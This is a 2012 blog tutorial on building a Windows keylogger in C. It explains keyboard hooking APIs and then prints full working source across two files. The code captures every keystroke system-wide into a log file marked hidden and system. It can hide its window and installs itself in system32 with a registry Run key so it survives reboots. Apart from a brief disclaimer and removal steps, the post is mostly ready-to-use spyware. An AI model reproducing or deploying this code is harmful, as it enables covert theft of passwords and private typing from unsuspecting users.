Tuesday 3 January 2012

[PenTest] Keylogger Tutorial

What is Keylogger?
Keylogger is a program which logs everything which we type on our keyboard. So everything you type including passwords,website name etc is saved in your PC.Advanced keylogger include following features:
  • Capture every keystroke.
  • Captures screenshots of our PC at regular interval.
  • Send screenshots and logs via mail or ftp
  • Runs in stealth mode and is not visible in the task bar, system tray, Task Manager, Windows Startup list etc.
  • It will record the application that was in use that received the keystroke. and many other features etc.
Uses of Keylooger
  • Monitor the activities of employee by employer.
  • Used to monitor the surfing habit of children by parents.
  • and many others…
Build your own Keylogger
Now, I will show you one of the way to build your own keylogger in C.
Prerequisite: You should know the basics of C Programming Language and Windows API.
Windows Hooking is one of the way to build your own keylogger.
Hooking mechanism permits us to intercept and alter the flow of messages in the OS before they reach the application.For different messages there are different types of hooks. For example, for keyboards message there is keyboard hook, for mouse message there is mouse hook etc. For complete list of different type of hook refer this link. A function that intercepts a particular type of event is known as a hook procedure. A hook procedure can act on each event it receives, and then modify or discard the event.
We will use hooking on Keyboard to monitor keyboard activity so every time user press any key our function is notified about it.
First of all, we will understand this two different type of code used in keyboard hooking:
    • Virtual Key Code
      Virtual key code is the device independent code used by the operating system itself. For every key there is code associated with it e.g. VK_SHIFT(0×10) is the virtual key code for Shift key. Visit this link which shows the symbolic constant names, hexadecimal values, and mouse or keyboard equivalents for the virtual-key codes used by the system.
    • Scan Code
      Scan Code is hardware dependent code that identifies which key is pressed or released. This code differs from keyboard to keyboard.
When we press any key then it generate a scan code usually by keyboard device driver. OS translates this code to virtual key code which is normally used by programmer.
These are the Windows API used to build up a keylogger:
    • Install a hook with the Windows API SetWindowsHookEx on keyboard. SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)LowLevelKeyboardProc, hExe, 0);1st Parameter idHook: WH_KEYBOARD_LL – Installs a hook procedure that monitors low-level keyboard input events.
      2nd Parameter lpfn: LowLevelKeyboardProc – A pointer to the hook procedure which is called when any keyboar event occurs
      3rd Parameter hMod: hExe – A handle to the DLL containing the hook procedure
      4th Parameter dwThreadId: 0 – The hook procedure is associated with all existing threads running(System-wide)
    • UnhookWindowsHookEx :Free system resources associated with the hook and removes a hook procedure
      UnhookWindowsHookEx(hKeyHook);
      Parameter hhk: hKeyHook – A handle to the hook to be removed.
    • GetAsyncKeyState : Determines whether a key is up or down at the time the function is called
      GetAsyncKeyState(VK_SHIFT);
      Parameter:VK_SHIFT is virtual key code for shift key
      For more details visit this link
    • GetKeyNameText: Retrieves a string that represents the name of a key.
      GetKeyNameText(dwMsg,key,15);
      1st Parameter dwMsg contains the scan code and Extended flag
      2nd Parameter lpString: lpszName – The buffer that will receive the key name.
      3rd Parameter cchSize: The maximum length, in characters, of the key name, including the terminating null character
      If the function succeeds, a null-terminated string is copied into the specified buffer,
    • CallNextHookEx: Passes the hook information to the next hook procedure
      CallNextHookEx( NULL, nCode, wParam, lParam );
      1st Parameter hhk – Optional
      2nd Parameter nCode – The next hook procedure uses this code to determine how to process the hook information.
      3rd Parameter wParam – The wParam value passed to the current hook procedure.
      4th Parameter lParam – The lParam value passed to the current hook procedure
    • RegisterHotKey: Defines a system-wide hot key of Alt+Ctrl+9
      RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0×39);
      1st Parameter hWnd(optional) :NULL – A handle to the window that will receive hot key message generated by hot key.
      2nd Parameter id:1 – The identifier of the hot key
      3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL – The keys that must be pressed in combination with the key specified by the 4th parameter in order to generate the WM_HOTKEY message.
      4th Parameter vk: 0×39(9) – The virtual-key code of 9
Algorithm
  1. Create a thread that starts keylogger function.
  2. Install system wide keyboard hook using SetWindowsHookEx.
  3. Check the virtual key code from Keyboard structure and write the actual key in the file.
  4. CallNextHookEx is called to pass the hook to another application.
  5. Also register a hot key (Atl+Ctrl+9) to exit the keylooger.
  6. Unhook the hook procedure to free the resources.
Please read the comments in the Code for better understanding.
Keylogger Code
Download Keylogeer.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
#include <windows.h>
#include <winuser.h>
#include <stdio.h>

// function to check caps lock
int isCapsLock()
{
     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)
        return 1;
     else
        return 0; 
}

/* An application-defined callback function used with the SetWindowsHookEx
 function.
 The system calls this function every time a new keyboard input event is 
 about to be posted into a thread input queue.
 1st Parameter nCode - A code the hook procedure uses to determine how to 
 process the message.
 2nd Parameter wParam - The identifier of the keyboard message. 
 This parameter can be one of the following messages: WM_KEYDOWN, 
 WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP. 
 3rd Parameter lParam: A pointer to a KBDLLHOOKSTRUCT structure.
*/
LRESULT CALLBACK LowLevelKeyboardProc
(int nCode, WPARAM wParam, LPARAM lParam)
{
    /* This structure contains information about a low-level keyboard 
 input like virtual code, scan code, flags, time stamp and additional 
 information associated with the message.
 */
    KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
    FILE *file;
    char val[5];
    DWORD dwMsg = 1;
    file=fopen("C:\\EventLog.log","a+");
    switch (wParam)
    {

    case WM_KEYDOWN: // When the key has been pressed. Changed 
 from WM_KEYUP to catch multiple strokes.
 {
 // Assign virtual key code to local variable
            DWORD vkCode = pKeyBoard->vkCode;

            if ((vkCode>=39)&&(vkCode<=64)) // Keys 0-9
            {

                if (GetAsyncKeyState(VK_SHIFT)) // Check if shift 
 key is down (fairly accurate)
                {
                    switch (vkCode) // 0x30-0x39 is 0-9 respectively
                    {
                    case 0x30:
                        fputs(")",file);
                        break;
                    case 0x31:
                        fputs("!",file);
                        break;
                    case 0x32:
                        fputs("@",file);
                        break;
                    case 0x33:
                        fputs("#",file);
                        break;
                    case 0x34:
                        fputs("$",file);
                        break;
                    case 0x35:
                        fputs("%",file);
                        break;
                    case 0x36:
                        fputs("^",file);
                        break;
                    case 0x37:
                        fputs("&",file);
                        break;
                    case 0x38:
                        fputs("*",file);
                        break;
                    case 0x39:
                        fputs("(",file);
                        break;
                 }
 }
                else // If shift key is not down
                {
                   sprintf(val,"%c",vkCode);
                   fputs(val,file);
                }
 }
            else if ((vkCode>64)&&(vkCode<91)) // Keys a-z
            {
                /*
 The following is a complicated statement to check if the letters need 
 to be switched to lowercase.
 Here is an explanation of why the exclusive or (XOR) must be used.

 Shift Caps LowerCase UpperCase
 T T T F
 T F F T
 F T F T
 F F T F

 The above truth table shows what case letters are typed in,
 based on the state of the shift and caps lock key combinations.

 The UpperCase column is the same result as a logical XOR.
 However, since we're checking the opposite in the following if statement, 
 we'll also include a NOT operator (!)
 Becuase, NOT(XOR) would give us the LowerCase column results.

 There's your lesson in logic if you didn't understand the next statement. 
 Hopefully that helped.

 --Dan
 */
            if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())) // Check if 
 letters should be lowercase
                {
                    vkCode+=32; // Un-capitalize letters
                }
                sprintf(val,"%c",vkCode);
                fputs(val,file);
            }
            else
            {
                switch (vkCode) // Check for other keys
                {
                    case VK_SPACE:
                        fputs(" ",file);
                        break;
                    case VK_LCONTROL:
                    case VK_RCONTROL:
                        fputs("[Ctrl]",file);
                        break;
                    case VK_LMENU:
                    case VK_RMENU:
                        fputs("[Alt]",file);
                        break;
                    case VK_INSERT:
                        fputs("[Insert]",file);
                        break;
                    case VK_DELETE:
                        fputs("[Del]",file);
                        break;
                    case VK_NUMPAD0:
                        fputs("0",file);
                        break;
                    case VK_NUMPAD1:
                        fputs("1",file);
                        break;
                    case VK_NUMPAD2:
                        fputs("2",file);
                        break;
                    case VK_NUMPAD3:
                        fputs("3",file);
                        break;
                    case VK_NUMPAD4:
                        fputs("4",file);
                        break;
                    case VK_NUMPAD5:
                        fputs("5",file);
                        break;
                    case VK_NUMPAD6:
                        fputs("6",file);
                        break;
                    case VK_NUMPAD7:
                        fputs("7",file);
                        break;
                    case VK_NUMPAD8:
                        fputs("8",file);
                        break;
                    case VK_NUMPAD9:
                        fputs("9",file);
                        break;
                    case VK_OEM_2:
                        if (GetAsyncKeyState(VK_SHIFT))
                             fputs("?",file);
                        else
                             fputs("/",file);
                        break;
                    case VK_OEM_3:
                        if (GetAsyncKeyState(VK_SHIFT))
                             fputs("~",file);
                        else
                             fputs("`",file);
                        break;
                    case VK_OEM_4:
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs("{",file);
                         else
                            fputs("[",file);
                         break;
                    case VK_OEM_5:
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs("|",file);
                         else
                            fputs("\\",file);
                         break;
                    case VK_OEM_6:
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs("}",file);
                         else
                            fputs("]",file);
                         break;
                    case VK_OEM_7:
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs("\\",file);
                         else
                            fputs("'",file);
                         break;
                    case VK_LSHIFT:
                    case VK_RSHIFT:
                        // do nothing;
                        break;
                    case 0xBC:                //comma
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs("<",file);
                         else
                            fputs(",",file);
                         break;
                    case 0xBE:              //Period
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs(">",file);
                         else
                            fputs(".",file);
                         break;
                    case 0xBA:              //Semi Colon same as VK_OEM_1
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs(":",file);
                         else
                            fputs(";",file);
                         break;
                    case 0xBD:              //Minus
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs("_",file);
                         else
                            fputs("-",file);
                         break;
                    case 0xBB:              //Equal
                         if(GetAsyncKeyState(VK_SHIFT))
                            fputs("+",file);
                         else
                            fputs("=",file);
                         break;
                    default:

      /* For More details refer this link 
 http://msdn.microsoft.com/en-us/library/ms646267 
 As mentioned in document of GetKeyNameText 
 http://msdn.microsoft.com/en-us/library/ms646300
 Scon code is present in 16..23 bits therefor I shifted 
 the code to correct position
 Same for Extended key flag 
 */
                        dwMsg += pKeyBoard->scanCode << 16;
                        dwMsg += pKeyBoard->flags << 24;

                        char key[16];
                        /* Retrieves a string that represents 
 the name of a key. 
 1st Parameter dwMsg contains the scan code and Extended flag
 2nd Parameter lpString: lpszName - The buffer that will receive 
 the key name. 
 3rd Parameter cchSize: The maximum length, in characters, of 
 the key name, including the terminating null character
 If the function succeeds, a null-terminated string is copied into 
 the specified buffer,
 and the return value is the length of the string, in characters, 
 not counting the terminating null character.
 If the function fails, the return value is zero. 
 */
                        GetKeyNameText(dwMsg,key,15);
                        fputs(key,file);
               }
 }
 }
        default:

            fclose(file);
            /* Passes the hook information to the next hook procedure 
 in the current hook chain.
 1st Parameter hhk - Optional
 2nd Parameter nCode - The next hook procedure uses this code to 
 determine how to process the hook information.
 3rd Parameter wParam - The wParam value passed to the current hook procedure
 4th Parameter lParam - The lParam value passed to the current hook procedure
 */
            return CallNextHookEx( NULL, nCode, wParam, lParam );
    }
     fclose(file);
    return 0; 
}

// Function called by main function to install hook
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{

    HHOOK hKeyHook;
    /* Retrieves a module handle for the specified module. 
 parameter is NULL, GetModuleHandle returns a handle to the file 
 used to create the calling process (.exe file).
 If the function succeeds, the return value is a handle to 
 the specified module.
 If the function fails, the return value is NULL. 
 */
    HINSTANCE hExe = GetModuleHandle(NULL);

    if(hExe == NULL)
 {
       return 1; 
 }
    else
    {
        /*Installs an application-defined hook procedure into a hook chain
 1st Parameter idHook: WH_KEYBOARD_LL - The type of hook procedure 
 to be installed
 Installs a hook procedure that monitors low-level keyboard input events. 
 2nd Parameter lpfn: LowLevelKeyboardProc - A pointer to the hook procedure.
 3rd Parameter hMod: hExe - A handle to the DLL containing the 
 hook procedure pointed to by the lpfn parameter.
 4th Parameter dwThreadId: 0 - the hook procedure is associated with 
 all existing threads running
 If the function succeeds, the return value is the handle to 
 the hook procedure.
 If the function fails, the return value is NULL.
 */
         hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,
 (HOOKPROC)LowLevelKeyboardProc, hExe, 0);
         /*Defines a system-wide hot key of alt+ctrl+9
 1st Parameter hWnd(optional) :NULL - A handle to the window that will 
 receive hot key message generated by hot key.
 2nd Parameter id:1 - The identifier of the hot key
 3rd Parameter fsModifiers: MOD_ALT | MOD_CONTROL - The keys that must 
 be pressed in combination with the key
 specified by the uVirtKey parameter in order 
 to generate the WM_HOTKEY message. 
 4th Parameter vk: 0x39(9) - The virtual-key code of the hot key
 */
         RegisterHotKey(NULL, 1, MOD_ALT | MOD_CONTROL, 0x39);

         MSG msg;
         // Message loop retrieves messages from the thread's message queue 
 and dispatches them to the appropriate window procedures. 
 // For more info http://
 msdn.microsoft.com/en-us/library/ms644928%28v=VS.85%29.aspx#creating_loop
 //Retrieves a message from the calling thread's message queue.
         while (GetMessage(&msg, NULL, 0, 0) != 0)
         {
               // if Hot key combination is pressed then exit
               if (msg.message == WM_HOTKEY)
               {
                  UnhookWindowsHookEx(hKeyHook);
                  return 0;
 }
               //Translates virtual-key messages into character messages.
               TranslateMessage(&msg);
               //Dispatches a message to a window procedure.
               DispatchMessage(&msg); 
 }

         /* To free system resources associated with the hook and removes 
 a hook procedure installed in a hook chain
 Parameter hhk: hKeyHook - A handle to the hook to be removed. 
 */
             UnhookWindowsHookEx(hKeyHook);
    }
    return 0;
}

int StartKeyLogging(char* argv[])
{
    HANDLE hThread;
        DWORD dwThread;

    /* CreateThread function Creates a thread to execute within the virtual 
 address space of the calling process.
 1st Parameter lpThreadAttributes: NULL - Thread gets a default 
 security descriptor.
 2nd Parameter dwStackSize: 0 - The new thread uses the default 
 size for the executable.
 3rd Parameter lpStartAddress: KeyLogger - A pointer to the 
 application-defined function to be executed by the thread
 4th Parameter lpParameter: argv[0] - A pointer to a variable 
 to be passed to the thread
 5th Parameter dwCreationFlags: 0 - The thread runs immediately 
 after creation.
 6th Parameter pThreadId(out parameter): NULL - the thread 
 identifier is not returned
 If the function succeeds, the return value is a handle to the new thread.
 */
    hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)KeyLogger, 
 (LPVOID) argv[0], 0, NULL);

    if (hThread)
 {
       //Waits until the specified object is in the signaled state or 
 the time-out interval elapses.
       return WaitForSingleObject(hThread,INFINITE);
    }
    // if it is Null then exit the main function
    else
    {
           return 1;
     }
}
Download Main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
/*
 Name: Ayush Anand
 Website: http://www.secsavvy.com
 Date: 27/08/10 22:37
 Description: Main logic of keylogger is taken from 
 Myhook 1.2 beta Open Source Keylogger http://myhook.sourceforge.net/
 I have added following features (or changes)
 * Log file attribute is set to hidden and system
 * Changed the code from C++ to C
 * Added a HotKey Alt+Ctrl+9 to exit the KeyLogger
 * Added Registry entry to auto start 
 the keylogger every time computer boots
 For more details and explanation of code visit http://www.secsavvy.com
 Disclaimer: This program is for Educational Purpose.
*/

#include <windows.h>
#include <stdio.h>
#include<string.h>
// If visble = 0 then Keylogger is hidden oe visible =1 
 then keylogger is visible
const int VISIBLE = 1;

// Function to hide the window of keylogger
void ToHide()
{
     HWND stealth;

     /* Retrieves a handle to the top-level window whose 
 class name and window name match the specified strings.
 1st Parmeter lpClassName: ConsoleWindowClass - Class Name
 2nd Parameter lpWindowName: parameter is NULL, all window names match. 
 If the function succeeds, the return value is a handle to 
 the window that has the specified class name and window name.
 If the function fails, the return value is NULL. 
 */
     stealth=FindWindow("ConsoleWindowClass",NULL);
     ShowWindow(stealth,0);
}

/*
Its add registry entry to start the keylogger automatic 
every time computer boot
*/
void AutoStart()
{
     FILE *file;
     file = fopen("C:\\EventLog.log","r");
     //If file is not present then keylogger is run first time
     if(file==NULL)
     {
         file=fopen("C:\\EventLog.log","a+");
         //Change the atribute of file to hidden and system type file
         system("attrib +h +s C:\\EventLog.log");
         fclose(file);
         // Add the registry entry
         system("reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion
 \\Run\" /v EventLog /d %windir%\\system32\\KeyLogger.exe /f");
         // Copy the exe to system32 directory
         system("copy /Y KeyLogger.exe %windir%\\system32");
 } 
}
int main(int argc, char* argv[])
{

    if(VISIBLE == 0)
        ToHide();
    AutoStart(); 
    StartKeyLogging(argv);

}
Download the Keylogger source code from this link.
Note: I have used Dev C++ Compiler.

Fetaures
  • Monitor you every keystroke
  • Log file attribute is set to hidden and system
  • Added a HotKey Alt+Ctrl+9 to exit the KeyLogger
  • Added Registry entry to auto start the keylogger every time computer boots
  • Log is saved in C:\EventLog.log
How to remove the keylogger??
Delete the KeyLogger.exe from C:\Windows\system32 and delete the registry entry EventLog from “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
Hope you enjoyed this post , feel free to comment……Happy hacking!!!!!

No comments:

Post a Comment